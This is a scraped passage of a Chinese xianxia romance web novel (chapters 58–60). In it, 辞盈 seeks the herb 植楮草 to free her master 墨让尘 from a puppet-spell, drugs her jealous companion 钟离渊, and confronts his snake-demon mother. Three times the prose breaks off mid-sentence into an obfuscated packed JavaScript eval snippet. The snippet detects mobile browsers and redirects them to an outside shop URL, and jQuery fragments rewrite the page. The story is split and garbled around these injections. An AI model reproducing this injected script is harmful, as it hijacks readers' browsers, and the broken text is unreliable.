江羡之道:“等他走后,三大派都损兵折将,无力再战,于是便讲和了,各自回去休整。我一醒过来立刻回去云麓殿,可是师尊已经不见了,玄武教上下早就撤了个干干净净。” “定是那萧无忧垂涎师尊已久,上门求亲又被拒,这才趁乱掳走师尊。我主张立刻带人去追,可我爹不允,说此时剑宗空虚,要全力驻守以防九曜派再来偷袭,无奈之下,我只好自己来南疆一探虚实。白芷不放心,便陪我同来了。” 说到这,他温情脉脉地看向白芷,连声音也柔和许多。 辞盈耐心等着他俩眉目传情了七八个回合,问:“然后呢?” “哦。”江羡之转过来道,“我上门要人,萧阳做贼心虚,不敢露面,只派了他常随的黑脸怪出来见我。” 萧阳有两个常随的得力助手,一个脸黑如炭,一个脸白赛鬼,长得奇丑无比,人称黑白双煞。白脸怪鲜少有人见过,只在暗处替他做事跑腿。黑脸怪就整日跟在萧阳身边,指哪打哪。 “可惜我技不如人……”江羡之愤恨地一拳砸在桌上,手臂上又渗出血来,急得白芷直跺脚:“你再这样我就不理你了!” “好好,我不乱动了。”江羡之连忙道。 辞盈余光瞄到旁边的钟离渊,那是什么表情啊,怎么感觉可怜巴巴的,好像流浪狗在路边碰见宠物狗一样满脸艳羡。 奇怪,他难道是在羡慕江羡之吗?怎么搞得好像自己虐待他了一样。 辞盈甩甩杂念,又问:“我听方才那人言语之间的意思,竟然说师尊要入赘玄武教?” “胡言乱语!”江羡之立刻否认,“当日在云麓殿萧阳有意嫁女,师尊已经明确表态拒绝,如今怎么可能反而同意入赘!” 辞盈认真思索道:“萧无忧既然爱慕师尊,千辛万苦把他偷回去,大抵不是为了伤害他。只是师尊若已经醒了,为何不回水云剑宗?他若想走,谁能拦得住他?除非……” “萧无忧定是用了缚仙索将师尊囚禁在水牢之类的地方,准备强行逼婚。”江羡之忧心忡忡道。 我嘞个强制爱啊? 辞盈想象一下那画面,深吸了一口气。 魔教妖女果然奔放会玩。 可是萧阳这步棋,绝不仅仅为了支持女儿谈谈恋爱,酱酱酿酿那么简单。水云剑宗全靠墨让尘一力支撑,如今玄武教对外声称墨让尘要入赘,那下一步要吞并剑宗就变得顺理成章了。 辞盈斩钉截铁道:“绝不能让萧无忧得逞。” 江羡之闻言,精神为之一振:“我就知道,你果然还是在乎师尊的!对,绝不能让师尊与萧无忧成亲!” 辞盈:“……” 不要过度解读啊亲。 她瞥见钟离渊晴转多云的脸,忍不住瞪了江羡之一眼。 说话间,窗外钟鼓声铛铛作响,夹杂着象鸣牛叫,热闹非凡。辞盈凑到窗前向外望,一队人马声势浩大,将本来还算宽敞的道路塞的满满当当。 兽群过后,紧接着一群腰缠红鼓,怀抱琵琶,手持金钹的人,敲锣打鼓自带BGM,浩浩荡荡,招摇过市,引来无数人沿街围观。 再往后,又跟着两排婷婷袅袅的少女,手捧花篮,纤纤素手撒落漫天花瓣雨。 白芷奇怪道:“这是做法呢?还是提前过年了?” 辞盈摇摇头:“好嚣张的样子,估计是当地的土财主显摆什么呢。” 高头大马气宇轩昂缓缓而来,威风凛凛地踏碎满地花瓣,背上二人共骑。萧无忧虽然艳若桃李,又穿得清凉,却丝毫不见羞怯之色,满面春风,脖颈扬得比马还高,活像个迎亲的新郎官。 “你们看!”白芷低声惊呼,“她身后那人是……墨宗主!” 马背上的白衣青年腰杆笔直,衣袂飞扬,腰间还配着醉花剑,可不正是如假包换的墨让尘么! 他双手绕过萧无忧挽住缰绳,正是将她环在怀中的姿势,看起来郎才女貌,倒也十分般配。 “怎么会……”江羡之像被雷劈了似的,错愕地喃喃道,“这不可能。” 人群议论纷纷—— “这人是水云剑宗的宗主?生得这么俊美,我还当是醉仙楼新来的花魁呢!” “低声些,什么花魁,眼看人家就是萧教主的女婿啦。” “也难怪他扔下水云剑宗,千里迢迢跑来做上门女婿,咱们教主千金这般姿容家世,谁能不动心?” “哼,好色之徒,不过如此。” “你这是吃不着葡萄就说酸,你想入赘人家还瞧不上呢。” 辞盈二话不说,抓起手边的瓷杯,运劲朝墨让尘掷去。 试试吧,如果真是师尊,就不可能轻易被她的小破杯伤到。 江羡之忙道:“小师妹你先别气,师尊不会轻易变心的!” 辞盈:“……” 三颗脑袋挤在窗前,只有钟离渊还坐在椅子上,沉默地注视着辞盈的背影,下颌紧绷,薄唇微抿。 瓷杯当啷坠地,墨让尘只动了动手指便稳稳避开,身形依旧端坐马背纹丝未动,目视前方,却也不去寻找偷袭的人。 这不太对……师尊怎么一股人机味儿? 辞盈回头又抓起好几个碗,嗖嗖嗖一连串飞出去。 江羡之道:“不行,小师妹要气坏了,白芷你快帮我劝劝。” 白芷道:“我最恨见异思迁的男人了,我帮你砸。”说罢,抄起酒壶扔了出去。 江羡之道:“师尊才不会见异思迁,他心里从来都只有小师妹,如果不是那个钟离渊半路上横刀夺爱……” 辞盈道:“闭嘴!” 稀里哗啦,大碗小碟碎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“救他?”钟离渊瞥了眼兴高采烈的她,又转回头,嘴角泛起一抹冷笑,眼神愈发阴鸷: “可以啊,如果杀了他也算救的话。” 猝不及防地,红光暴击直接将墨让尘所站的位置砸出一个两米深坑。 墨让尘早已旋身避开,执剑木然立在一旁。然而他天生眼角尖而眼尾翘,哪怕人淡如菊,看起来也充满孤高挑衅的意味。 钟离渊咬牙道:“来啊,让我看看你究竟有什么过人之处。” 不是,你跟一个人机较什么劲啊? 辞盈扯住他袖口,生气道:“你又干嘛,抽什么疯?” 钟离渊眼眶微红:“你又要跟他走了,对不对!还要我救他,你当我是什么?召之即来挥之即去的玩具吗!” 辞盈皱眉:“我何时把你当玩具了?召之即来不是你给我的特权吗,怎么反过来怪我?” “没错,是我给你的特权,是我一厢情愿,是我横刀夺爱,”钟离渊眼中杀气翻涌, “今日,我便是非要横刀夺爱不可了。” 眼看这家伙相思咒又上头了,继续任由他疯下去,不仅救不了墨让尘,还可能闹出人命。辞盈没办法,扯着他袖子恶狠狠道:“你,跟我过来!” 钟离渊满面怒容:“我哪都不去!” 好好好,非要逼我社死是吧。 她踮起脚,搂住钟离渊的脖子,嘴巴狠狠贴上去,在众人错愕的目光中,对着面前僵硬的醋王不分轻重一通啃咬。 有了上一次的教训,她就知道醋王这个德性什么大道理听不进去,只有这一招管用。 “现在还生气吗?”她凶巴巴地问。 钟离渊僵硬了片刻,立刻对这个吻接受良好,连声音也轻柔了许多,意犹未尽地舔了舔嘴唇:“那你……还会不会离开我?” 58. 噬心蛊 趁他们二人闹别扭的空档,萧无忧一把拽住墨让尘翻身上马,掉转马头就跑,毕竟谁也不想招惹拥有顶级杀伤力的醋劲神经病。 “站住!” 江羡之提剑便追。萧无忧蛾眉倒蹙,马不停蹄,忽然从怀里掏出什么东西,朝白芷方向猛地一撒。空气中瞬间弥漫开一股淡淡的焦味,却不见任何实质性伤害。 江羡之立刻折返,抓着白芷翻来覆去检查,急得声音都发颤:“你怎么样?有没有哪里不舒服?” 白芷扭身躲开:“什么都没有,我好得很。” “怎么会没事?你脸怎么这么红,是不是中毒了?” 辞盈走过去拉开江羡之,推着他噔噔噔倒退好几米,才道:“师兄你是真傻假傻?人家是姑娘,哪有你这么直勾勾盯着看的,白萝卜也被你看成红萝卜了好嘛。” “噢。”江羡之这才发觉自己言行不妥,尴尬地挠了挠后脑勺,为了岔开话题,口不择言道,“那你刚才……不也……” 有没有搞错啊师兄,我帮你解围,你拿我开涮?! 四周早已挤满了敲锣打鼓的队伍和看得津津有味的围观群众。 南疆人民的生活实在太无趣了,这又打又杀又搂又亲的大戏,不比过年杀猪好看多了?因此谁也舍不得走,甚至恨不得去拿爆米花了。 辞盈不用回头也能想象钟离渊在身后抱着胳膊笑得有多得意,只好梗着脖子理直气壮道:“你知道什么,我老家很开放的,跟你们不一样。” “散了散了!再看我要收门票了。”说完,她也不理众人,撒腿就跑出一条街,一头扎进客栈:“掌柜的,我要住店。” 掌柜笑容可掬:“客官来得巧,小店正好还剩下两间房,而且是对门。” 巧?从何说起? 辞盈回头一看,果然身后还杵着三个人。 钟离渊满意地点头:“可以。” 辞盈:“……” 怎么着,没房定律是吧?只要带着男人去客栈问就肯定是这么个答案,你们客栈都经过统一培训的吗? 江羡之和白芷却没有提出异议,直奔卧房。 “我去问问别的客栈。”辞盈瞥向门外,目光忽然一驻,像是看见了什么,又立刻收回视线。 “怎么了?”钟离渊问。 辞盈耸肩:“看热闹的人太多,还是别出去了,就住在这里吧。” 钟离渊莞尔:“好。” 走廊尽头的两间空房正对着。江羡之和白芷心照不宣地对视一眼,各自进房。 钟离渊皱眉:“他们俩什么意思?” 辞盈站在门内,笑得平和,利落关门:“意思就是——晚安。” 钟离渊立刻撑住门板,透过狭小的门缝,可怜巴巴地低声道:“可是,我不习惯跟陌生人睡。” “哦——那你跟师兄聊一会儿,不陌生了再睡。” 砰。 房间不大,但还算干净,两张木板床榻分置两侧。辞盈目测这床的长度,甚至怀疑钟离渊的脚能不能伸直。 白芷坐在榻上剥糖炒栗子,两条腿轮流踢踏着,笑嘻嘻地问:“我一直很好奇,你到底喜欢的是哪个?” 辞盈愣了一下。她亲都亲了,大庭广众脸都不要了,这还用问? “你说呢?” 白芷水葱般的手指一捏,棕色的硬壳裂成两半,露出金黄的栗子仁,她举起来问:“吃吗?” “不了,谢谢。” “别误会,我没有审判你的意思。”白芷道,“男人可以新欢旧爱两全其美,女人凭什么不能脚踩两只船?” 辞盈嘴角抽搐:“我没有脚踩两只船……” “有也没关系。”白芷吃得香甜,掐着两半栗子道:“其实你也挺倒霉的。一个呢,违逆师徒伦理,另一个干脆就是活阎王,啧啧,选哪个都要被人戳脊梁骨。” 辞盈发现,这个小姑娘虽然长得娇滴滴,一副单纯可爱小白兔的模样,实际上脑子里乱七八糟的东西一点儿也不比她少。 当然,早在曹不义的地牢里看见白芷杀人如切瓜,辞盈就知道她不是小白兔了,只是没想到她在感情方面居然也颇有心得。 不由得暗自为江羡之捏了一把汗。 白芷想了想,又道:“如果是我,我也会选钟离渊。” 辞盈好奇:“为什么?” “一个为了救你,敢去九重幽冥暗渊杀烛龙,独闯暮苍山单挑三大派的男子,难道还不值得托付终身?虽万千人吾往矣,就凭这份儿气魄,别说他是活阎王,就算是真阎王那又怎样?” 白芷眼睛亮晶晶的:“我若喜欢一个人,便不管他是阎王还是仇家呢。” 作为曹不义的义女,杀他的手下,炸他的地牢,就为了救一个敌对门派的江羡之,你的确是言行一致,辞盈心想。 白芷一口气说痛快了,拍拍手上的栗子皮,轻松道:“我说得对吗?” 辞盈点头:“对,不过我有一个问题。” “嗯?” “我死过一次,连二师兄也蒙在鼓里,你又怎么知道钟离渊去暮苍山救的是我?” 白芷蓦地抬眼,对上辞盈审视的目光。 空气凝固了一瞬,窗外风声簌簌,有一缕邪风悄悄顺着窗缝钻进来,好像若隐若现的哨声。 辞盈忽然笑道:“这都能猜到,妹妹果然冰雪聪明。” 白芷埋下头,用力抠栗子壳,理所当然地说:“这有什么难猜的,除了你,那个阎王还在乎过谁的死活?” 辞盈笑笑,两人颇有默契地选择终止夜谈,蒙头大睡。 大约是旅途劳累,没过多久,白芷便呼吸逐渐均匀,安然入梦。 被子一掀,辞盈翻身下床,推开槛窗,呲溜钻了出去。 客房在二层,她身轻如燕地落地,踏碎几片枯叶,扫视左右,果然在角落里发现一条瑟缩的影子。 “小美人,你可算出来啦。这数九寒天的冻死人,你必得付我三倍诊费不可。” 任平生从阴影里走出来,鼻头冻得通红,搓着手哈着气。他披了一件墨绿刻丝白貂皮袄,看起来价格不菲,暂时摆脱了破烂穷酸气,只要不开口说话,倒也有几分翩翩公子的风度。 方才在客栈门口瞥见他,神色复杂,辞盈便知道他有话要单独说,又打趣道:“你既靠上萧无忧这么一座金山,怎么还是扣扣搜搜的?” 他将皮袄裹了裹,吸吸鼻子:“我又不能一直留在这,还是得自力更生。” 辞盈言归正传:“你刚才说诊费,是什么意思?” “你说呢?三更半夜不在家好好睡觉,在这贼眉鼠眼地苦等,像个偷情的汉子似的,你以为我是来干嘛的?” “我也觉得奇怪。” 任平生翻了个白眼:“你不想救墨让尘了?” 辞盈急道:“你有办法救他?”然而立刻又怀疑地盯着他,“不对,你怎么会为了帮我,背叛萧无忧?” “我不是在帮你,而是救她。”任平生道,“无忧那日将墨让尘劫回来,在昏迷之中对他施下噬心蛊。因此墨让尘现在形同傀儡,任由她摆布,凡她所言,无有不从。” 他轻叹道:“她就是个傻姑娘,竟想要同一具傀儡成亲,简直荒谬,我岂能坐视不理?” 难怪师尊对外界一切全无知觉。这噬心蛊简直比相思咒还要无耻猥琐百倍! 堂堂水云剑宗宗主,半生除魔卫道,行事光风霁月,受万人敬仰,妖邪无不闻风丧胆,如今竟如同扯线木偶一般,被人玩弄于股掌之间! 辞盈怒火中烧,捏紧袖口,沉声问:“噬心蛊如何能解?” “我自幼在玄武教长大,所有蛊虫的解药我都了如指掌,甚至大多数是我亲手配制。只是如今解药都被萧阳锁起来了,我也拿不到。”任平生语气愤懑,“萧阳这个人,宠女儿宠得昏了头,也不管是不是真的对她好!” 辞盈道:“既然解药都是你配制的,你现在重开一副不行?” 任平生苦笑道:“小美人,这就是我冒险来找你的原因 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17205134|195737||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 啊。噬心蛊的解药其实只有一味——植楮草,你听说过吗?” 辞盈茫然摇头。 “植楮草就长在火磷峡谷最深处,开红花,形状嘛类似秋葵。你去拿的时候要小心,千万别伤了它的根茎,植楮草只有一株,以后还要再利用的。” 任平生认真道:“只要你能拿到它的花瓣,我就能还你一个神智正常的师尊。” 辞盈听得头疼,花花草草最麻烦了,她连玫瑰和茉莉都分不清。万一采错了岂不是白忙一场?于是拉着他的袖子诚恳道:“你陪我去不行吗?” 任平生避之不及地抽回衣袖:“哎哎哎,干什么,别拉拉扯扯的啊,万一被您那位看见了我脑袋当场就得给他拧下来当球踢。” 怪不得他鬼鬼祟祟不敢露面,只敢在窗根底下学猫叫呢。 要是被钟离渊知道他竟然特地跑来怂恿她去救墨让尘,的确会恨不得捏死他。 辞盈想了想,反而一下挽住他的胳膊,嘿嘿笑道:“你若不陪我去那个火磷峡谷,咱俩就这么去见钟离渊吧。” 任平生大惊失色,脸都绿了,压着嗓子叫道:“好歹毒的心肠,你把我害死了谁来救你师尊?” 辞盈眨眨眼道:“放心,我不会让你死的,最多打折你一条腿罢了。” 正拉扯间,二楼厢房突然传来一声惊惧的尖叫——是白芷! 辞盈未及多想,一跃而起,直接从槛窗翻进了二楼走廊,正碰上刚冲到门口的江羡之,后者顿时一愣:“小盈,你们……” 辞盈一低头,发现自己还挽着任平生的胳膊。刚才一时情急,居然连他一起拽到了二楼。 她正要开口解释,对面房门被一脚踹开,钟离渊面有急色从里头出来,目光落在任平生那身不由己的胳膊上,瞬间沉了下来。 “……” 四个人八双眼睛面面相觑,这诡异的画面辞盈不知该如何解释。 别说她还挽着任平生的手臂,就单说深更半夜出门私会这件事,她也很难说得清楚。 还是江羡之先忍不住问:“你怎么从这房里出来?白芷呢?!”他推了钟离渊一把,像推了座山,自己一个踉跄险些摔倒。 钟离渊一动不动,死死地盯着任平生。 空气中隐隐弥散着杀气。 任平生愣了两秒,肝颤腿软,扑通一声跪坐在地上开始哀嚎:“阎王大哥,你听我解释,真的不关我的事啊!是你的小美人非得抓着我不放,我一根手指头也没敢动弹,我比窦娥还冤啊——” 辞盈见钟离渊从房里出来,心立刻放下一半,白芷应该没什么大碍,起码没人能从他眼皮底下把人劫走。 现在最危险的,应该是正坐在地上抹眼泪的这位无辜的白衣天使了。 她干巴巴地笑了两声,道:“误会误会,你知道吗,在我老家,好朋友都会这样挽着胳膊出门,真的。” 钟离渊向前迈了一步,脚下的地板咔嚓嚓被碾得粉碎。 任平生一把抱住辞盈的腿,结结巴巴道:“完了完了我死定了,你快救救我啊啊啊!” 江羡之趁机从门缝挤进了房间,里面立刻传来焦急的声音:“白芷!你怎么了,快醒醒啊!” 钟离渊脸色更难看,感觉下一秒就要把任平生的胳膊卸下来,阴恻恻道:“松手。” 任平生反应过来,啊了一声弹开,双手在胸前抱住自己,弱小无助眼泪汪汪道:“大人,我冤枉啊——” 辞盈实在看不下去,将一滩烂泥似的任平生从地上揪起来,对钟离渊道:“你别吓他了,本来胆子就小,别呆会儿真给吓傻了。” 后半句没说出来:还指望他帮我救人呢。 客房内的呼唤变了调,江羡之几乎带了哭腔。辞盈心下一沉,拉着任平生就往屋里推:“快去看看白芷怎么了。” 任平生脑袋摇成拨浪鼓,四肢扒着廊柱,抵死不从。辞盈凑到他耳边,幽幽道:“任大夫,需要我把你抱进去吗?” 一道烟尘连滚带爬地轱辘进了房间。 59. 盗草 钟离渊静立门前,一脸含恨受屈的怨妇悲愤。 辞盈心里好笑,走过去摸他冷白的脸,柔声道:“你刚才一定是听见叫声担心我,所以第一时间闪现到我房里了,对不对?” 钟离渊脸色稍缓,抿了抿唇。 “走吧,陪我进去看看,我真的很担心白芷。”见他还有些不情愿,辞盈踮起脚尖,在那冰山般的脸上轻啄一下。 钟离渊被她牵着,跟在身后闷闷问道:“你刚才……跟他出去做什么了?” “什么都没做,我只跟你一个人做。”辞盈头也不回地拉着醋王往里走,感觉手被紧紧握住,仿佛怕她随时化成一缕烟消失。 众人围在床前,只见白芷仰面而卧,粉颊苍白,额头渗着细密汗珠,双目紧闭,像被困在噩梦中无法醒来。 任平生坐在床边,仔细搭脉后道:“是梦魇蛊。” “什么意思?我要怎么救她?”江羡之焦急问道。 眼看钟离渊不再盯着自己,任平生仿佛捡了一条命,吓破的胆子终于又长了回来,不紧不慢道:“不必太着急,这种蛊虫不会致命。只不过中蛊者每晚都会被噩梦缠身,旁人是无法将她唤醒的,等她的噩梦做完,自动就会醒了。” 江羡之怒道:“岂有此理,难道这一生都要在噩梦中度过吗?” “也不至于,梦魇蛊的时效有长有短,因人而异。有的人心志坚定,可能三两天就自己痊愈了,也有的人薄弱些,三五年都赶不走蛊虫。” 果然,萧无忧临走撒下那一把药粉不是吓唬人玩儿的。 江羡之一拳捶在墙上:“魔教妖女何其恶毒!” 任平生挑了挑眉,不冷不热道:“这已经是玄武教毒性最低的蛊了。再说,不是你们先上去挑衅的吗?” “你——”江羡之拧着眉毛瞪他,“医者父母心,你有没有同情心?” 任平生轻飘飘道:“我每日那么多病人,没功夫挨个同情。何况你要是想帮她,我也有个主意。” 他探出两根手指伸向白芷,江羡之立刻警觉地阻拦:“你要做什么?” 任平生嗤笑一声,指尖轻点在白芷光洁的眉心:“梦魇蛊就寄宿在这里,用灵力即可将它引出。只不过——”他顿了顿,“需要以另一人做饵,即是说,梦魇蛊无法驱除,只能转移。” 江羡之道:“此法当真?” 任平生瞥了他一眼:“我必须要提前说明,以灵力催动梦魇蛊入体十分凶险,稍有不慎可能会走火入魔。她只是会做噩梦而已,又不要命,我劝你最好三思而后……” 话还没说完,一道温和的灵光打在白芷眉间,如丝如缕,缓缓引出一团黑气。 任平生啧了一声:“江公子作死很积极啊。” 江羡之毫不理会旁人,全神贯注将那团黑气逼入自己天灵之中,仿佛钢针刺进头顶,整个人不可抑制地颤抖,辞盈的手也跟着抖了一下,又被身边人安抚地握住。 钟离渊问:“如果我现在打散那团黑烟,会发生什么?” 任平生耸肩:“梦魇蛊狗急跳墙,两个人可能都活不成,或者变成一对儿痴呆。” 须臾,黑烟逐渐消散。江羡之将梦魇蛊成功引入自己体内,一直紧皱的眉头才舒展开。白芷诈尸一样忽然睁大眼,从床上弹坐起来。 她两手抓紧胸前的被子,肩膀微微颤动,眼眶湿润,恐惧地扫视众人,像只受惊的小白兔,当真是我见犹怜。 江羡之将被角替她掖了掖,温和道:“别怕,你只是做噩梦了。” 白芷眼圈发红,泪水夺眶而出,顺着粉颊大颗大颗地滑落,也不说话,怔怔地发直。江羡之于心不忍,去拉她的手,却被猛地甩开,仿佛他是什么毒蛇猛兽一样。 他一愣,轻声问:“你怎么了,白芷,是我啊。” 究竟是什么梦,把她吓成这样? 想起白芷自小在曹不义身旁养大,孤苦伶仃,少不了受人欺凌,遭人白眼,她如今情状,八成是梦见了童年阴影。江羡之心疼不已,也不敢再贸然碰她,只好柔声安慰:“没事了白芷,是梦而已。你看看我,看看这里,都过去了,现在你安全了。” 白芷咬紧嘴唇,眼中潋滟着破碎的光。 江羡之没见过她这样的神情,仿佛极脆弱,一阵风都能将她压垮,却又极坚强,像绝望的石缝中生出倔强的花枝,柔韧向上。 他试探着抬起手,轻缓地放在她的脑后,慢慢抚过如锦缎般顺滑亮泽的长发,一下一下,温柔而耐心,像对待襁褓中的婴孩: “我会保护你,守着你,不论发生任何事。” 这满室令人窒息的粉红色泡泡。 任平生翻了个白眼问:“我能走了吗?” “任大夫,”钟离渊左手优雅地搭上他的肩膀,指节有节奏地敲打着,“解释一下,你为什么会出现在这里。” 任平生一听,五官又扭到一起,愁眉苦脸地向辞盈求助。 “噢,他是……来帮我看牙的,我牙又疼了,谢谢你啊任大夫,慢走不送。” 辞盈嘻嘻哈哈将任平生推出去,看看窗外,折腾了半宿,天空已经泛起蒙蒙的浅青色。 既然打不过,江羡之决定先回水云剑宗汇报情况,然后集结人马再来玄武教抢亲。 辞盈海豹式鼓掌:“有骨气,加油,等你的好消息。”然后拉起钟离渊就走:“我饿了,陪我去吃饭。” 送走江羡之和白芷,又吃了一顿“加了料”的丰盛早餐,辞盈把昏迷的钟离渊扛回客房,扔到榻上,转身去倒了杯水,咕咚咕咚一口气干了,抹抹嘴,坐在旁边盯着床上的人生气。 这家伙腿长就得有一米五吧?! 她扛着这么长一条人,既怕他磕到脸,又怕撞到头,歪歪扭扭,这一层楼爬得当真十分艰辛。 经他们昨天这样一闹,估计萧无忧要加快进度,回家立刻广发喜帖,筹办婚事,管他水云剑宗的老道什么反应呢,总之生米先煮成熟饭再说。 到时候墨让尘就算解了蛊,你堂堂水云剑宗宗主,难道还好意思始乱终弃? 植楮草任务迫在眉睫啊! 可是钟离渊简直是三百年的老陈醋修炼成了精,瞒不住甩不掉,像一坨帅气的白磷,听见墨让尘的名字就自燃。 幸好任平生聪明,临走前偷偷塞给她一包无色无味的迷药,并且当场作揖鞠躬痛哭流涕就差没给她跪下了,求她千万保密别把自己供出来。 虽然辞盈也怕死,也猥琐,但人怎么能怕死猥琐成这样?! 就好像钟离渊,人怎么能好看成这样?! 毫无防备吃了迷药的钟离渊睡得沉静,像所有常年不见阳光的吸血鬼一样肤色极白。 散落的几缕银发下隐约露出额前精巧的花钿,显得有些妖艳,而眉骨又笔挺得恰到好处,不会失了英气。这张俊美得几乎不真实的脸,总让她邪恶地萌生掐两把蹂躏一番的念头。 辞盈扒在床边,被这位令人闻风丧胆的阎王的美貌硬控了三分钟。 色令智昏,正事要紧! 她随便找家兵器铺子,捡了一把还算趁手的剑,一拍剑柄,御剑飞出。 火磷峡谷就在玄武教不远处,谷底是滚烫的岩浆,蜿蜒好似大地曲折的血脉,峭壁如刀削,被岩浆灼烧得通红。 两侧山峰高耸入云,怪石嶙峋。御剑俯瞰,浓重粗粝的墨黑中缀着一点苍翠欲滴的绿色,像凶恶群山的掌上明珠,娇嫩明艳。 荒蛮的山腰竟然蕴含一小片湿润的泥土,苔藓覆满树干,随风摇曳的野草中央夹着几瓣鲜嫩的红花,形状好似秋葵,微风一吹,晶莹的露珠在叶片上颤抖着摇摇欲坠。 没想到植楮草竟然这么好找。而且一般来说,神药不是都应该有什么三头六臂的怪物全年无休严防死守吗? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17213374|195737||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怎么想象中的蜘蛛精蝎子精□□精一个都没出现? 辞盈喜出望外,走过去俯下身,小心翼翼地将花茎折断,眼前一花,手中空空。 什么东西?! 她猛抬起头,白衣女郎傲然立于高处,虽不再年轻,但纤腰盈盈一握,胸前波涛汹涌,连指尖拈起植楮草的动作也风情万种,身下却是一条比树干还要粗壮的蛇尾,邪魅笑道:“小丫头,又见面了。” 这是……暮苍山清莲斋地牢里碰见的那个蛇妖,钟离渊的母亲?!几日不见,她整个变得容光焕发,与那个地牢里一潭死水的阴森女妖简直判若两妖。 可她为什么会出现在这里?是巧合吗?亦或者,她也听说了植楮草可解墨让尘的蛊,因此特意来毁掉它?? 辞盈抱拳:“此物对我非常重要,请前辈成全。” 女郎掩口而笑:“对你重要,与我何干?” 辞盈舔了舔嘴唇,想说看在钟离渊的面子上能不能别闹,又转念一想,这蛇妖又何曾关心过自己儿子?提了也是白提。于是拔剑道:“前辈若不肯归还,我只有冒犯了。” 剑气凛凛,威势惊人,一出手把辞盈自己也吓了一跳。 嘿,果然泡过碧池的人就是不一样,眼不花手不抖,走路更有劲儿了! 女郎如所有蛇类一样滑不留手,毫不费力地闪过,回头看了看石壁上留下的深沟,啧啧道:“不错啊小丫头,看来墨让尘教了你不少东西。” 辞盈心中一紧:果然冲着师尊来的。 女郎上下打量她,肆无忌惮:“那日在暮苍山我看到了,钟离渊拼了命也要把你抢回去。你倒厉害,两个都钓着,该不会,你本体是条狐妖吧?” 辞盈怕她一怒之下直接把草碾成灰,不敢轻举妄动:“只要前辈将这花交给我,什么条件我都可以答应你。” “什么条件都行?”女郎斜眼瞟她,“若我说,要你的命呢?” “可以,你先把花给我。”辞盈面不改色。 女郎嗤笑:“我把花给了你,你掉头就跑,我还得去追。不如你现在自断一条腿,我立刻便给你。” 辞盈一动不动地盯着她,手上悄然蓄力。 阴风瑟瑟,枝叶摇曳沙沙作响,女郎眼睛微眯:“你还带了帮手?” 啊?我没有啊? 轰隆一声,女郎身后的峭壁石破天惊般炸得粉碎,她躲闪不及,蛇尾上银色鳞片被飞溅的碎石划破,鲜血横流。 “你又骗我。” 钟离渊从山石后走出来,步伐沉稳,并没有想象中的暴跳如雷,只是面色不悦地拍掉手上沾的灰。 辞盈看看钟离渊,再扭头看看地上差点儿被他打残的蛇妖,犹豫了一下,还是提醒道:“钟离渊,她是……三百年前就被江鹤川关在暮苍山的蛇妖……” 钟离渊愣了一下,目光缓缓移到女郎身上,带着怀疑和审视,沉默不语。那女郎半倚半靠在石壁上回望他,看不出悲喜。 山风呼啸,周围的空气却仿佛凝固了,只有汹涌的情绪在流淌。 半晌,女郎轻启朱唇:“你都长这么大了,我们却第一次见。” 钟离渊眼皮抖了抖,寒霜般的冷酷面具肉眼可见地碎裂了,那神情仿佛在黑暗中迷路了三天三夜的孩童,眼前蓦然闯入一缕阳光。 “你是谁?”他克制地发问,尽量保持平稳。 女郎笑道:“你真是像极了你父亲,不止长得像,连发起狠来的样子也一模一样。” “你究竟是谁?!” 钟离渊下颌紧绷,眸色暗红,声音也开始发颤。女郎却仿佛根本不在意他的情绪,依然自顾自道:“三百年了,你被压在天罡塔下,我也被关在暮苍山地牢里。我以为再也见不到你了,没想到,老天竟然还愿意给我一次机会。” “作为人和妖结合而生的孩子,在这世上活着很痛苦吧?” 60. 蛇毒 辞盈站在一旁,望着女郎艳丽动人的脸,总觉得哪里不对。再一扭头,发现钟离渊已经神情恍惚地走到女郎面前,眼眶湿润,颤抖着伸手去扶她。 她甚至没看清发生了什么,女郎忽然遁走至数丈之外,脸上挂着暗箭伤人的得意。 而钟离渊还不可置信地呆在原地。 “我的儿子竟然这样蠢!”说完,她转头恶毒地瞥向辞盈,“三心两意,你也不是什么好东西!” 果然!难怪辞盈觉得不对劲,这蛇妖嘴上好似温情脉脉,眼神却不见一丝怜爱,面对三百年没见的儿子,她竟然流露出逗狗的神情。 这次辞盈看得真切,蛇妖袖口甩出一叠牛毛细针,如骤雨般直射向她。几乎同时,钟离渊扑了过来,拉着她腾空避开,爱的魔力转圈圈——转得她头晕眼花才落地。 “受伤了吗?”他问。 辞盈摇头,正要去追,蛇妖已不见踪影。她心急如焚:“植楮草还在她手里!” “别追了。”钟离渊道。 “不行,那东西对我至关重要。”辞盈顿了顿,“你若为难就留在这,不用陪我。” 钟离渊眼眶的红痕未褪,憔悴又无奈,却依旧缓声道:“我陪你。” 辞盈心里一软。他自幼失父母,被世人唾弃,又被囚三百年。童年断断续续记忆里的那点母爱,对于他而言,可能是这世间绝无仅有体会过的温情。 或者说,那是照亮钟离渊人生唯一的光。 世界上竟有这么冷血无情的母亲,久别重逢,玩弄自己儿子的感情毫不手软。 